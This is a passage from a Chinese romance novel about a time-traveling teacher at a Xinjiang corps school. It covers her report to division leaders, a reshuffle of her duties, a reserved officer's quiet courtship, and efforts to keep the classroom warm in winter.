舒染的身体向后靠去,目光落在窗外的夜色里。她来自二十一世纪,见识过更复杂的职场博弈和话语权争夺。那个时代教会她,有时候,以退为进,将自身价值与更高层面的利益进行捆绑,才是更高级的策略。 她不能只说自己做了什么,她要让领导们意识到,她所做的,以及只有她能做好的这些事情,对于师部乃至兵团想要树立的这个招牌,有多么重要。 思路逐渐清晰。汇报的核心,不能仅仅是展示成绩,更要强调她作为创始者和实践核心的不可替代性。她要让所有与会者,尤其是可能到场的更高层领导明白,启明小学和扫盲工作的灵魂,是她舒染与基层群众的实践智慧,是她在极端困难条件下开拓局面的能力。 她重新拿起笔,在提纲的空白处飞快地写下几个关键词:可复制性、可持续性、群众基础、潜在风险。 她要把自己塑造成一个符号——兵团基层教育探索中,最具代表性、最接地气、也最能解决实际问题的标杆。 最后一点,她写得格外谨慎。这不能是威胁,而必须是一种充满责任感的担忧。 她知道,孙处长是务实派,看重工作实效。林副政委虽然可能想提拔侄子,但作为高级领导,他更在乎的是政治正确和工作成绩,一个失败的示范点对他没有任何好处。 她要做的,就是在汇报中,巧妙地将“舒染”这个名字,和“示范点成功”这个目标,深度绑定在一起。让领导们觉得,维持现状,让她继续主导,是确保示范点成功风险最小、收益最大的选择。 不能写成乞求的口吻,得是展示价值。 思路清晰后,舒染感觉心中的块垒消解了大半。她开始重新调整汇报的结构和措辞,将那些现代管理思维中关于“核心竞争力”和“不可替代性”的概念,用这个时代能接受的语言包装起来。 直到夜深人静,隔壁房间的鼾声隐隐传来,舒染才放下笔,长长地舒了一口气。 汇报提纲已经被修改得密密麻麻,重点突出,逻辑清晰,既充分展示了成绩,又恰到好处地暗示了关键所在。 她站起身,活动了一下僵硬的脖颈,走到窗边。深秋的凉意透过窗缝渗进来,让她打了个寒噤。她拿起陈远疆那个水壶,拧开,喝了一口已经凉透的白开水。 “尽人事,听天命。”她对自己说。但她的眼神里,没有丝毫听天由命的茫然。她为自己争取过,努力过,无论结果如何,至少无愧于心。 第二天,舒染几乎足不出户,全心投入到汇报稿的打磨和演练中。她谢绝了所有不必要的打扰,连午饭都是请对面屋的女干事帮忙从食堂带回来的。 下午,门外传来敲门声。舒染以为是女干事来了,头也没抬地说了声“请进”。 脚步声走近,带着一种熟悉的沉稳。舒染抬起头,微微一怔。 是陈远疆。他换了一身干净的军装,手里拎着一个网兜,里面装着两个苹果和几本书。 “陈干事?”舒染放下笔,有些意外,“你怎么……” “顺路。”陈远疆把网兜放在桌子一角,目光扫过她铺满稿纸的桌面,“看你没去食堂。” 他的解释依旧简洁,但舒染注意到他说的不是“开会顺路”,而是“看你没去食堂顺路”。 “在准备明天的汇报。”舒染指了指桌上的稿纸,“时间有点紧。” 陈远疆“嗯”了一声,视线落在那些写满字的纸上,没有追问具体内容,只是说:“劳逸结合。” 然后,他拿起那几本书,递了过来:“看看有没有用。” 舒染接过来一看,是几本关于教育学、心理学和边区社会调查的旧书,书页泛黄,但保存尚好。 “这……”舒染惊讶地看着他,“你从哪里找来的?” “师部图书馆有些旧藏书,按规定不能外借,我跟管理员打了招呼,你可以在这里看。” 舒染翻看着书页,发现其中一本《边区教育初探》里,某些段落旁边有极细的铅笔做的记号,勾勒的重点恰好与她思考的某些方向不谋而合。 她抬头看了陈远疆一眼,他正看着窗外。 她心里明白,他一定花费了不少心思和时间。 “谢谢。”舒染真诚地道谢,手指摩挲着书页,“很有用。” 陈远疆转回头,目光与她接触一瞬,又迅速移开,落在那个网兜上:“苹果是我买的。听说……补充维生素。” 舒染看着那两个红彤彤的苹果,在这个季节的新疆,这也是稀罕物。她拿起一个,苹果带着清新的果香。 房间里陷入了短暂的沉默。舒染摩挲着光滑的苹果表皮,心里权衡着。他的关怀如此明显,再装糊涂就是矫情了。有些话,必须说开,为了他,也为了她自己。 她放下苹果,抬起头,目光直视着陈远疆,语气变得认真起来:“陈远疆,”她再次名带姓地叫他,“你对我这么好,就不怕别人说闲话吗?不怕……影响你的前途?” 她想知道,在这个界限分明的时代,他愿意为这份尚未挑明的情感,承担多大的风险。 陈远疆的身体似乎僵了一下,但他没有回避她的目光,只是沉默地看着她。 舒染继续往下说,条理清晰,点明利害:“现在师部里,关于示范点、关于林老师、关于我,说什么的都有,眼睛都盯着呢。你一个师部保卫处的干部,三天两头往我一个成分不好的女知青这里跑,还这么……关心。” 她观察着他的反应,见他依旧沉默,便把那层最关键的窗户纸捅破:“你就不怕有人捕风捉影,说你立场不坚定,跟资本家小姐划不清界限?说你利用职务之便,搞……不正当男女关系?” 最后几个字,她说得又轻又缓,但问出的问题却很尖锐。在这个作风问题能毁掉一个人前途的年代,这绝不是危言耸听。 “林副政委昨天也看到你了。”舒染补充道,“他和你有旧谊,但越是这样,盯着你的人可能越多。你前途正好,为了这点小事,值得吗?” 她说完,静静地看着他,等待他的回答。 陈远疆的眉头蹙了一下,随即又松开,眼神沉了一下。 他沉默着,时间仿佛被拉长。舒染能看到他喉结轻轻滚动了一下。 房间里的空气仿佛凝固了,窗外隐隐约约传来口号声。 过了许久,久到舒染以为他不会回答,准备用玩笑话把这个话题带过去时,他开口了。 “我做事,只看该不该,不管别人怎么说。” “该”与“不该”,这是他最简单,也最根本的原则。 “不管是林副政委那里,还是老首长那里,”他继续道,语气里没有攀附,也没有畏惧,“我尊重他们,但我的路,我自己走。” 最后,他总结道:“我的前途,我自己挣。不靠揣摩上意,也不靠避嫌。如果连坚持自己认为对的人、对的事都做不到,这前途,不要也罢。” 舒染看着他紧抿的嘴唇,心里像是被什么东西重重地撞了一下。 在这个年代能遇到这样一个执拗又真诚的人,是何其珍贵。 她忽然觉得,之前那些关于利弊得失的算计,在他这番直白坦荡的话语面前,显得有些狭隘了。 “我明白了。”舒染拿起一个苹果,递向他,“一起吃?” 陈远疆看着递到眼前的苹果,又看看舒染带着笑意的眼睛,迟疑了一下,伸手接过。 他拿着苹果,没有吃,只是握在手里。 “明天的汇报,”他换了个话题,不动声色地把手里的苹果放在桌子上“林副政委可能会到场。” 舒染心领神会,点了点头:“我知道了。” “做好准备。”陈远疆看着她,眼神里满是鼓励,“你做得到。” 说完这句,他似乎完成了此行的所有任务,不再停留。 “我走了。”他转身朝门口走去。 “陈远疆。”舒染在他身后叫住他。 他停在门口,没有回头。 “谢谢你。”舒染说,声音柔和,“书、苹果……还有你的话。” 陈远疆的背影顿了顿,没有回应,拉开门走了出去。 房门轻轻合上。 舒染看着桌上那几本书和两个苹果,拿起那个被陈远疆握过的苹果,咬了一口,果肉又甜又脆,汁液里带着一丝酸。 第106章 第二天上午, 师部教育科的会议室里坐满了人。 除了孙处长、李干事、赵干事等教育科人员,还有几位舒染不认识的、气质沉稳的中年干部坐在前排。而最引人注目的,是坐在孙处长旁边的林副政委。他穿着便装, 神色平和,但自有一股不怒自威的气场。 让舒染有些意外的是, 杨振华也来了,坐在靠后的位置,对点了点头。 会议室里的气氛算不上严肃, 但也绝不轻松。 舒染站在讲台前,深吸一口气。她今天穿上了自己最整洁的一身旧军便装,头发梳得整整齐齐,眼神清亮, 姿态沉着。 她看到了坐在角落里的陈远疆, 他依旧是那副冷峻的表情, 但在她看过去时, 表情变得柔和, 冲她点了一下头。 她也看到了坐在稍后位置的林雪舟。 “各位领导, 各位同志,”舒染开口了, 声音带着一种经历过基层磨砺的沉稳,“我今天汇报的题目是《扎根基层, 务实创新——畜牧连启明小学扫盲与基础教育工作实践与思考》。” 她没有用任何花哨的开场白,直接切入主题。她首先展示了孩子们最初的作业本, 上面是歪歪扭扭的字迹和用石灰块画的画, 与现在工整了许多的字迹和简单的造句形成鲜明对比。 她没有过多强调自己的功劳,而是用大量生动的细节,还原了工作的全过程。 她讲到如何动员学生:“……光讲大道理没用, 得让他们看到实惠。我跟一位文盲母亲说,认了字,以后领工分票不怕被人糊弄。跟牧民大叔说,让孩子学点汉字,将来看得懂兽药说明,羊羔生病少死几只。他们听不懂‘开启民智’,但他们听得懂‘少吃亏’、‘多活羊’。” 台下有人微微颔首。 她讲到如何解决资源困境:“……没粉笔,捡石灰块,去石灰窑废料堆找能写字的碎石灰头。没纸,就用旧报表背面,孩子们在地上划拉也行。后来,连队家属帮我们收集用过的练习本,李秀兰同志从副业队找来烧过的羊骨头,我们削尖了当笔用。办法总比困难多,就看肯不肯想,肯不肯干。” 她展示了自制的石灰笔、骨炭笔,还有那些用废纸装订的练习本。 她重点阐述了“生产学习一体化”和“实用扫盲”的理念:“……我们把课堂搬到田埂上、渠沟边,干活歇气的时候,教他们认有关生产的字词。许君君卫生员教他们卫生知识。这些知识,学了马上就能用,大家就有兴趣。扫盲不是为了一张文凭,是为了让日子过得更好,让脑袋更清楚。” 她提到了遇到的阻力,比如周巧珍的刁难、赵卫东最初的不理解,李大壮事件后家属态度的转变,但最后都妥善解决并赢得了支持。 她甚至没有回避周文彬事件,将其作为一个反面教材,强调了在边境地区保持警惕的重要性,以及教育工作中品行引导的必要性。 在讲到关键处时,她会自然地引用准备好的那几个关键词。 “……我们认为,启明小学和扫盲工作能取得一点成绩,关键在于探索出了一套可持续的模式,它根植于我们的生产生活,不脱离实际,也因此具备了在类似连队复制推广的可能性。” “……这项工作离不开深厚的群众基础。与牧区老乡的信任,与连队家属的理解,是我们能够深入下去的前提。任何工作方法的调整,都需要考虑到是否有利于维护和巩固这个基础,避免可能产生的潜在风险,影响大家对示范点的信心和观感。” 她没有提到林雪舟,更没有提及任何可能的变动,但每一句话,似乎都在为维持现状提供注脚。她将自己的工作,上升到了方法论和群众路线的高度。 台下很安静,只有舒染清晰的声音和偶尔翻动稿纸的声响。林副政委听得很专注,孙处长脸上带着思索的表情。 汇报的最后,舒染总结道:“……在畜牧连这段时间,我最大的体会是,基层教育工作,不能脱离实际,不能高高在上。我们耐心了解群众需要什么,担心什么,期盼什么。教育的力量,不在于教了多少深奥的知识,而在于它是否让群众感受到了知识带来的力量和尊严。这条路很难,需要耐心,需要智慧,更需要一份扎根下去的决心。我愿意继续在这条路上走下去,摸索下去,也希望我的这些不成熟的经验和教训,能为我们兵团基层教育事业的发展,提供一点点参考。” 她的话音落下,会议室里静默了片刻,随即响起了热烈的掌声。 舒染鞠躬,目光扫过台下。她看到孙处长赞许的眼神,看到李干事等人由衷的佩服,也看到林雪舟眼中复杂的情绪,有震撼,也有深思。 最后,她的目光与陈远疆相遇。他依旧严肃地坐在角落,但舒染看到他放在膝盖上的手,用力地握了一下又慢慢松开。 林副政委侧过头,对孙处长低声说了句什么。孙处长点了点头。 孙处长做了总结,再次肯定了舒染的工作,强调了基层教育工作的不易和示范点的重要性。他没有提及任何人事安排,只是要求教育科尽快将舒染带来的材料整理完善。 汇报似乎圆满结束。 散会后,人们陆续离开。舒染收拾着讲台上的材料。 “舒染同志。”一个声音在旁边响起。 舒染抬头,是林雪舟。 “林老师。”舒染点点头。 “你的汇报很精彩。”林雪舟的语气很诚恳,“比我之前想象的要深刻得多。我承认,我之前有些想法,确实脱离实际了。” 舒染有些意外,她没想到林雪舟会主动来说这些话。 “林老师客气了,我们只是侧重点不同。”舒染保持着礼貌,“系统化的知识也很重要,尤其是在孩子们有了一定基础之后。我们的目标是一致的。” 林雪舟看着她,眼神复杂:“我伯父……林副政委,他刚才跟我说,实践出真知,让我多跟你学习。” 舒染心中一动,面上不露声色:“互相学习。” 林雪舟似乎还想说什么,但看到林副政委那边似乎有事找他,便匆匆告辞了。 孙处长走了过来。 “舒染同志,讲得很好,很扎实。”孙处长脸上带着温和的笑容,“特别是关于可持续和群众基础的思考,很有见地。” “谢谢处长,我只是把实际情况和大家做了汇报。”舒染谦逊地说。 孙处长点点头,像是随口一提:“嗯,实事求是就好。对了,雪舟同志下午也会交流一下他的教学心得。你们都是年轻人,有文化,有想法,以后要多交流,共同把我们师的教育工作搞好。” 舒染心里一紧,面上却笑容不变:“是,处长,我一定多向林老师学习。” 孙处长意味深长地看了她一眼,没再说什么,转身离开了。 杨振华这时走了过来,低声道:“讲得真不错,我看孙处长很满意。” “谢谢。”舒染道谢,心里却明白,孙处长的满意,和最后那句关于“多交流”的提点,并不矛盾。领导的艺术,在于平衡。 舒染抱着材料走出会议室,在走廊里遇到了在等她的陈远疆。 “感觉怎么样?”他问,依旧是言简意赅。 “应该……还行。”舒染笑了笑,带着点如释重负的疲惫。 陈远疆看着她,忽然伸出手,极其快速地从她头发上拿下一小片不知何时沾上的纸屑。 舒染愣了一下,抬眼看他。 陈远疆已经收回了手,将那点纸屑捏在掌心,目光看向别处。 “回去休息。”他说,“后面可能还有安排。” “什么安排?”舒染追问。 “不清楚。”陈远疆摇头,“等通知吧。” 他陪着她往招待所走。两人沉默地走了一段,快到招待所门口时,陈远疆忽然没头没尾地说了一句:“他不如你。” 舒染怔住,随即失笑。这个男人,安慰和夸奖人的方式都这么别具一格。 “我知道。”舒染昂起头,带着点小得意,“我一直都知道。” 陈远疆看着她亮晶晶的眼睛和微微扬起的下巴,嘴角弯了一下,转瞬即逝。 “我下午回连队。”他说。 “这么快?”舒染脱口而出。 “嗯。有任务。”陈远疆看着她,“你这边……事情定了,也早点回来。” “好。”舒染点头,“等我回去。” 陈远疆看了她一眼,不再多言,转身大步离开。 舒染看着他的背影消失在师部办公楼的拐角,心里有种空落落的感觉。 她回到招待所房间,四仰八叉地趴在床上,长长地舒了一口气。汇报的紧张感渐渐褪去,取而代之的是一种亢奋。 她走到窗边,看着师部大院裡来来往往的人。 未来的路还很长,事情还没有彻底定调,林雪舟的存在依然是个变数。 她一定会找到破局的方法。 就在这时,门外又响起了敲门声,伴随着孙处长秘书的声音:“舒染同志在吗?孙处长请你过去一趟。” 舒染的心提了起来。来了。是尘埃落定,还是新的波澜? 她站起身,整理了一下衣领和头发,深吸一口气,拉开了房门。 第107章 舒染跟着孙处长的秘书, 走在师部办公楼安静的走廊里。 她的心跳得有些快,面上却保持着镇定。刚才汇报成功的喜悦还未完全散去,此刻又悬了起来。孙处长这个时候找她, 谈话内容不言而喻。 秘书在一扇挂着“处长办公室”牌子的门前停下,敲了敲门。 “进来。”里面传来孙处长的声音。 秘书推开门, 侧身让舒染进去,随后便轻轻带上了门。 孙处长的办公室不算大。孙处长坐在办公桌后,手里拿着一支钢笔, 正在一份文件上写着什么。 林副政委并不在。 “孙处长。”舒染恭敬地叫了一声。 “舒染同志来了,坐。”孙处长抬起头,指了指办公桌对面的椅子,脸上带略显严肃的笑容。 舒染依言坐下, 腰背挺直, 双手放在膝盖上。 孙处长放下笔, 双手交握放在桌上, 看着舒染, 开门见山:“你刚才的汇报很成功。林副政委和其他几位领导, 都对你的工作给予了高度肯定。” “谢谢处长,谢谢领导肯定。我只是做了我应该做的。”舒染谨慎地回答。 “嗯, ”孙处长点点头,话锋却一顿, 手指在桌面上轻轻敲了敲,“你和林雪舟同志, 在畜牧连这段时间, 工作上配合得怎么样?” 又来了。舒染心道,果然绕不开这个话题。 她斟酌着词句,客观地说:“林老师理论功底扎实, 工作也很认真。我们在教学方法上有些不同的看法,但目标都是为了把孩子教好。近期我们分工协作,他负责提高组的系统教学,效果也不错。” 她没有贬低林雪舟,也没有过分自谦,只是陈述事实。 孙处长若有所思地看着她:“林雪舟同志是师里重点培养的年轻干部,学历高,有热情,林副政委对他寄予厚望。这次示范点建设,是一个很好的锻炼平台。” 舒染的心缓缓下沉。孙处长的话,几乎印证了杨振华的猜测。 她沉默着,没有接话,等待孙处长的下文。 孙处长看着她沉静的面容,似乎也在斟酌措辞,过了一会儿,才继续说:“组织上考虑,启明小学示范点的工作,需要进一步加强领导力量,统筹规划。林雪舟同志在这方面,有他的优势。当然,你在基层摸索出的这套经验,非常宝贵,是不可或缺的。” 他停顿了一下,观察着舒染的反应,见她依旧平静,才说出核心安排:“我和几位领导商量了一下,林雪舟同志主要负责示范点的整体规划和向上衔接,你呢,侧重负责具体的教学实施、扫盲班以及牧区联络。你们二人要紧密配合,共同把示范点建设好。你有什么看法?” 办公室里有片刻的寂静。 舒染垂着眼睑。这个安排,听起来似乎合理,分工明确。但“主要负责整体规划”和“侧重负责具体实施”,其中的主次轻重,一目了然。她被巧妙地放在了执行者的位置上。林雪舟则顺理成章地接手了更具话语权的角色。 一股涩意涌上心头,但她很快压了下去。这就是现实。在这个看重出身和资历的年代,她能争取到“不可或缺”的评价,能继续留在自己开创的事业里,已经算是不错的结果。硬抗,没有任何好处。 她抬起眼,脸上看不出什么情绪,只是语气平和地问:“孙处长,这是组织的正式决定吗?” 孙处长推了推眼镜:“算是初步意向,还需要走程序。想先听听你个人的想法。” 个人的想法?舒染心里苦笑,她的想法重要吗?但她知道,此刻的态度很重要。 她抬起头看着孙处长:“孙处长,我服从组织安排。无论在任何岗位上,我都会尽全力做好本职工作。启明小学就像我的孩子,我只希望它能越来越好。林老师有他的长处,我们互补协作,我相信能把示范点建设得更好。” 她没有抱怨,没有不满,甚至主动表达了协作的意愿。这份识大体、顾大局的态度,让孙处长眼中闪过赞赏。他原本还担心舒染会想不通,闹情绪。 “好,很好。”孙处长的语气明显轻松了不少,“舒染同志,你能这样想,我很欣慰。你的能力和贡献,组织上是看在眼里的。这次分工,也是从大局出发,为了更好地整合资源,推动工作。你积累的实践经验,是示范点最宝贵的财富,一定要发挥好。” “我明白,谢谢处长。”舒染点头。 “嗯,那你先回去休息吧。具体的工作安排,等正式文件下来,会通知你和林雪舟同志。”孙处长做出了结束谈话的姿态。 “好的,孙处长,那我先走了。”舒染站起身,礼貌地告辞。 走出孙处长的办公室,带上门,舒染脸上的平静瞬间褪去,取而代之的是一种疲惫和释然。她轻轻叹出一口气。 虽然早有心理准备,但亲耳听到这样的安排,心里终究不是滋味。那是一种自己精心培育的幼苗,眼看要开花结果,却被别人伸手摘走大部分果实的感觉。 但她很快调整了心态。至少,她没有被调离,她依然可以守护着她的学点。只要还在这个位置上,她就还有空间,还有机会。林雪舟想要“整体规划”,那就让他去规划好了,真正的根基依然握在她手里。 回到招待所,舒染发现林雪舟竟然等在她的房间门口。他显得有些局促不安,来回踱步。 看到舒染回来,他立刻停下脚步,脸上带着一种混合着尴尬和歉意的表情。 “舒染同志,你回来了。” “林老师,找我有事?”舒染拿出钥匙开门,语气平淡。 两人走进房间。林雪舟搓了搓手,似乎难以启齿。 “那个……孙处长……找你谈话了?”他终于问道。 “嗯。”舒染给自己倒了杯水,也给他倒了一杯,放在桌上。 林雪舟接过水杯,没有喝,低着头:“我……我知道这个安排,对你可能不太公平。启明小学是你一手创办的,所有的基础都是你打下的。我……” 他抬起头,眼神里带着困扰:“我伯父确实希望我能在这个岗位上得到更多锻炼,但我从来没想过要……要抢夺你的成果。我只是……只是觉得,也许我们可以一起,把这件事做得更好。” 舒染看着眼前这个年轻的男人,他有着知识分子的清高和理想主义,但也并非全然不通人情世故,至少此刻,他表现出了他的愧疚和坦诚。 她忽然觉得,和林雪舟这样的人共事,或许并没有想象中那么糟糕。至少,他比那些表面一套背后一套的人要强。 “林老师,”舒染开口,声音缓和了许多,“你不用觉得抱歉。组织的安排,我们个人服从就是了。孙处长也说了,我们各有所长,分工协作是为了把工作做得更好。” 她顿了顿,看着他的眼睛,语气变得认真起来:“我只有一个要求,无论怎么规划,都不能脱离畜牧连的实际,不能脱离孩子们和职工群众的真实需求。那些花架子的东西,在这里行不通。” 林雪舟连忙点头:“这个我明白!你的汇报给我很大触动。我承认,我之前有些想法确实太理想化,脱离实际。以后在制定规划时,我一定充分尊重你的意见,尤其是基层实践这一块。” 他的态度很诚恳。舒染点了点头:“那就好。具体教学工作、扫盲班和牧区联络,我会负责好。需要什么材料,或者需要了解什么情况,你随时可以找我。” 这算是初步达成了工作上的默契。 林雪舟明显松了口气,脸上的神色轻松了不少:“谢谢你,舒染同志。那……我就不打扰你休息了。” 他放下没喝的水杯,起身告辞。 走到门口,他犹豫了一下,回头说:“陈特派员他已经回连队了。” 舒染愣了一下,随即“嗯”了一声,表示知道了。 林雪舟离开后,房间里恢复了安静。舒染走到窗边,看着外面。陈远疆回去了,居然没来和她告别。不过,这倒也符合他的风格。 她摸了摸桌子上那个他留下的军用水壶,冰凉的触感让她纷乱的心绪渐渐平复。 她在师部的任务基本完成,归心似箭。 两天后,舒染接到了返回畜牧连的通知。师部对示范点的正式文件还没有下达,但她可以先行回去,维持学校的正常运转。 回去的交通工具,依然是一辆往各连队运送物资的敞篷卡车。舒染抱着简单的行李,爬上了车厢,找了个靠边的位置坐下。 卡车颠簸着驶出师部,熟悉的戈壁滩再次映入眼帘。与来时的心情不同,此刻的舒染,少了几分忐忑,多了几分坚定。 风吹起她的头发,她眯着眼,看着远处天地交接的辽阔线条,心里盘算着回到连队后要做的事情:孩子们的学习进度、扫盲班妇女们的识字情况、牧区教学点的推进、还有……那个人。 想到陈远疆,她的嘴角不自觉地扬起。那个沉默寡言,却会用行动表达一切的男人。 第108章 卡车在颠簸中前行, 离畜牧连越来越近。 她已经能看到连队那片低矮的建筑轮廓,还有那面在坡上飘扬的五星红旗。 就在卡车快要驶入连队路口时,舒染看到路边的坡地上, 一个熟悉的身影正牵着马站在那里。 是陈远疆。 他像是恰好巡逻到此,又像是……早已等在这里。 卡车减速, 准备拐弯。陈远疆的目光落在了车厢里的舒染身上。 他没有挥手,也没有喊叫,只是站在那里, 身姿挺拔,静静地望着她。 舒染扶着车厢挡板站起身,也望着他。 距离渐近,她能看到他军装上的尘土, 看到他被风吹得有些凌乱的头发, 和他那双深邃的眼眸。 卡车驶入连队, 他的身影被房屋遮挡, 消失在视线里。 但舒染知道, 他就在那里。 卡车在连部门口停下, 舒染拎着行李跳下车。早已得到消息的石头、栓柱等一群孩子呼啦啦地围了上来,七嘴八舌地叫着“舒老师回来了!”“舒老师, 我们想你啦!” 许君君、王大姐、李秀兰也笑着迎了上来,接过她手里的东西。 “可算回来了!路上辛苦了吧?” “没事儿。”舒染笑着摸摸孩子们的头, 看着眼前一张张熟悉的笑脸,心里被填得满满的。 她抬头, 看向陈远疆刚才站立的方向, 虽然已经看不到人,但她知道,他一定在某个地方, 注视着她,守护着这片土地,也守护着她。 回到畜牧连的舒染,迅速投入到熟悉的工作节奏中。师部之行仿佛一场短暂的梦,梦醒了,她依然是那个舒老师。 连队里似乎一切如旧,又似乎有些微妙的变化。孩子们见到她更加亲热,家属们打招呼时笑容里多了几分真切的敬佩。赵卫东看到她,依旧是那副“生产为重”的表情,但眼神里的挑剔似乎少了一点。连马连长见到她,都会主动问一句:“舒老师,学校有啥困难没有?” 这种变化,舒染心知肚明,源于她在师部汇报的成功,也源于那份尚未正式下达、但风声已经传开的“分工安排”。 林雪舟比她晚两天回来。他带回了师部教育科下发的征求意见稿,里面果然强调了规范化、系统性和理论提升。林雪舟显得干劲十足,一头扎进了连部给他腾出的一间小办公室,开始起草畜牧连示范点的“三年发展规划”。 舒染对此不置可否。她照常上课,管理扫盲班,定期去牧区。只是,在教学中,她开始有意识地引导孩子们进行更系统的归纳总结;在扫盲班,她加入了更多与连队生产、生活密切相关的实用文书教学,比如简单的工作汇报;去牧区时,她不仅教孩子,也开始尝试用更简单直白的方式,跟牧民他们聊聊文化交融。 她在用自己的方式,既配合着规范化的大方向,又牢牢抓住实用性这个根。 这天下午,舒染正带着孩子们在教室外清扫落叶。深秋的戈壁滩,风已经带上了凛冽的寒意。 陈远疆骑着马从连部方向过来,马蹄声由远及近。他勒住缰绳,停在离学校不远的路边,目光扫过正在忙碌的舒染和孩子们。 他穿着厚厚的军大衣,领子竖着,遮住了小半张脸,只露出一双沉静的眼睛。马背上驮着些东西,用帆布盖着,看不出具体是什么。 “陈特派员。”舒染直起腰招呼了一声。孩子们也纷纷停下手中的活,好奇地看着他。 陈远疆的目光在舒染的脸上停留了一瞬,然后落在她握着扫帚的手指上。 他应了一声,利落地翻身下马,从马背的帆布底下拿出一个小布袋,走到舒染面前,递给她。 “什么?”舒染有些疑惑地接过。 “羊油。”陈远疆言简意赅,“你可以用来做搓手油。防冻。” 舒染愣了一下,打开布袋,里面是一块凝固的羊油。在这里,这算是很好的防冻护肤品了。她抬头看他:“谢谢。你从哪里弄来的?” “牧区换的。”陈远疆避开她的视线,看向那些堆在一起的落叶,接过她手里的扫帚扫了起来,“快入冬了,注意保暖。” 他的关心总是这样,隐藏在看似平淡的行动和简短的话语里。 舒染收好那块羊油,“我知道。你也一样。” 陈远疆没说话,只是又“嗯”了一声,认真地挥舞着扫帚,没有立刻离开的意思。 舒染想了想,主动提起:“林老师回来了,正在弄示范点的规划。” 陈远疆停下手里的动作,看着她,目光里带着询问。 “师部的意思,以后他主要负责规划和向上衔接,我负责具体的教学和实施。”舒染语气平静,像是在说一件与自己无关的事情。 陈远疆的眼神锐利了几分:“你怎么想?” “我能怎么想?”舒染笑了笑,“服从安排呗。规划是蓝图,实施是根基。把根基打牢了,蓝图才能变成房子,不然就是空中楼阁。” 她的话意有所指。陈远疆听懂了。 他看着眼前这个明明受了委屈,却依旧思路清晰的姑娘,心底某个地方被轻轻触动。她很坚韧,也很有智慧。 “需要帮忙吗?”他最终只说了这么一句。 “暂时不用。”舒染摇摇头,眼神里透着自信,“我能处理好。” 她顿了顿,像是忽然想起什么,从随身背着的旧挎包里拿出那个军用水壶,递还给他:“这个还你。谢谢了。” 陈远疆看着那个被擦拭得干干净净的水壶,没有立刻去接。 “你留着用。”他说,“师部打水方便,连队用水紧张。” 这理由找得……舒染差点笑出来。连队用水是紧张,可她一个老师,还不至于连喝的水都保障不了。他分明是想把这水壶留给她。 她也没再推辞,从善如流地把水壶又塞回挎包:“那行,我就不客气了。” 陈远疆看着她的动作,嘴角牵动了一下。 这时,一阵更大的风吹过,卷起地上的尘土和枯叶,迷得人睁不开眼。舒染下意识地侧过头,用手挡在眼前。 陈远疆往前迈了半步,高大的身形恰好挡在了风吹来的方向,为她隔开了大部分风沙。 这个动作做得极其自然,仿佛只是无意间的站位。 但舒染感觉到了,那瞬间笼罩过来的影子,让她心头一跳。 风过去了,他不动声色地退回原位。 “我走了。”他说完,不再停留,利落地翻身上马,轻轻一夹马腹。枣红马迈开步子跑远了。 * 天气一天冷过一天。戈壁滩上的草彻底枯黄,被风吹得伏倒在地。树上也只剩光秃秃的树枝,风一吹,呼呼啦啦的。远处荒凉的盐碱地看着就让人觉得冷。 今年的冬天来的很早,天气也格外冷。 启明小学的教室虽然之前用夯土加固了墙壁,换了厚实的木门,教室里也架了炉子,但就是让人感觉到不暖和。 孩子们坐在里面上课,即使穿着厚厚的冬衣,也鼻涕直流。 舒染看着心疼,和林雪舟商量想办法保暖。 林雪舟从规划书里抬起头,推了推眼镜:“这个问题我考虑过。按照规范,教室取暖应该再加装火墙或者火炉。我已经在规划里写了申请,报到连里,等师部批复,估计明年开春能落实。” “明年开春?”舒染差点气笑,“那这个冬天孩子们怎么过?冻着?” 林雪舟有些无奈:“程序是这样,物资也紧张……” “程序是死的,人是活的。”舒染打断他,“我们不能干等着。” 她不再跟林雪舟争论,转身就出了门。她先去找了王大姐。 “火墙火炉一时半会儿批不下来,孩子们冻得受不了。王大姐,咱们能不能自己想点土办法?” 王大姐是烈属,在连队家属里很有威信,也是个热心肠。她一听就皱起眉:“可不是嘛!虽然说教室里有炉子烧着不至于让人冻死,但是娃娃坐在里面不暖和也受罪啊。舒老师,你说咋办?咱支持你!” “我想着,能不能找点旧毡子、塑料布,把窗户缝隙堵严实点。地上能不能铺点干草?虽然不顶大用,总能挡挡风寒。”舒染说出自己的想法。 “这法子行!”王大姐一拍大腿,“旧毡子我去其他几家问问。干草好办,副业队那边铡草多的是下脚料,我跟李秀兰说一声。” 有了王大姐带头,有孩子上学的家属们立刻行动起来。这个拿出块破毯子,那个贡献点旧棉花,李秀兰也从豆腐坊弄来了不少松软干净的干草碎屑。 舒染带着年纪大点的孩子,和几个热心家属一起,利用放学后的时间,开始布置教室。她们用浆糊把破布条、旧棉絮塞进门窗的每一条缝隙,又把塑料布钉在窗户上,最后在地面上厚厚地铺了一层干草。 陈远疆路过时,看到的就是这样一幅热火朝天的景象。舒染头上包着块旧头巾,脸上蹭了些灰,正踮着脚把一团旧棉花往窗户框上沿的缝隙里塞。几个孩子在她脚下帮忙递东西。 他勒住马,看了片刻,然后下马走过去,接过舒染手里的棉花,手臂一伸,将它塞进了最高处的缝隙里。 舒染只觉得手上一空,她转过头,看到陈远疆近在咫尺的侧脸。 “是这里漏风。”他言简意赅地说了一句,然后便开始检查其他窗户,看到有不严实的地方,便用旧布条塞紧 孩子们有些怯怯地看着他,不敢说话。舒染倒是笑了:“陈特派员,你这手艺不错啊。” 陈远疆没回头,继续着手上的动作,“算不上好,但应该也不差。” 他帮忙把几处高处和难处理的地方都弄好,又给门框上钉上厚厚的棉门帘,最后检查了一下门轴,确认开关顺畅没有太大缝隙。 做完这些,他拍了拍手上的灰,对舒染说:“晚上风大,你的屋子……门后最好顶根棍子。” “好,记住了。”舒染点头。 陈远疆的目光在教室里扫了一圈,落在那些铺地的干草上,眉头微蹙:“干草易燃,注意火烛。晚上放学把干草堆到门外,检查清楚,不能留火星。” 舒染连忙应下:“你放心,我一定反复叮嘱孩子们,放学后也亲自检查。” “嗯。”陈远疆不再多说,转身走了。 有了陈远疆的帮忙和提醒,教室的保暖和安全隐患都得到了改善。虽然说不上暖烘烘的教室,但至少不像之前那样冷了。孩子们坐在铺了干草的教室里,脚底有了点暖意,上课也专心了不少。 舒染看着孩子们不再冻得流鼻涕,心里踏实了许多。 第109章 冬至将近, 戈壁滩上的气温骤降,呵气成霜。按照北方的习俗,冬至要吃饺子。 但在物资极度匮乏的畜牧连, 白面是金贵东西,肉更是难得。 连队领导也考虑到了这个问题, 想办法调拨来了一批有限的白面,按人头分到各家各户,虽然不多, 但好歹能让每家都包上一顿饺子,尝尝荤腥。肉是没有的,只能各显神通,用野菜、干菜或者豆腐渣来做馅料。 学校里, 孩子们的小脸都冻得红扑扑的, 